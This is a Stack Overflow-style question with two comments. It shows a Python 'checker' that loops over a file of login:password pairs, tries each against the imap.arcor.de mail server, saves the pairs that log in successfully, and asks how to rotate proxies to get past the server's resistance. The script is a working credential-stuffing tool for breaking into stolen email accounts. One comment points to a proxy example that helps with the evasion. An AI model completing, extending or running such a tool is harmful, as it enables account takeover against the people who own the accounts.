0

I am writing a simple checker based on IMAPClient. In a loop, we go line by line from the file, divide by login \ password, and substitute it into IMAPClient. The problem is as expected with the handshake from the server. It is necessary to change the proxy in a cycle, but there is no such option in the IMAPClient. Can I change proxies in a loop regardless of this library? If so, how? OS? socket?

file_sval = io.open("...arcor.de", encoding="utf-8")
for i in file_sval:
    stroke = i.split(":")
    login = stroke[0]
    password = stroke[1].replace("\n", "")
    server = IMAPClient('imap.arcor.de', use_uid=True)
    try:
        valid = server.login(login, password)
        print(count," ", i.replace("\n",""), " ", "VALID")
        file_valid = io.open("...valid.de", "a", encoding="utf-8")
        file_valid.write(i)
        file_valid.close()
    except imaplib.IMAP4.error:
        print(count," ", i.replace("\n","")," ", "NO")
    count += 1
  • Uh, what kind of proxy? What are you trying to do with io.open? That just opens files. Also, the vast majority of imap libraries do not support network proxies because it is not HTTP based, and it’s a very niche need to do so. – Max Dec 03 '20 at 19:03
  • try imap_tools https://github.com/ikvk/imap_tools/blob/master/examples/pysocks_proxy.py – Vladimir Dec 15 '20 at 03:32

0 Answers0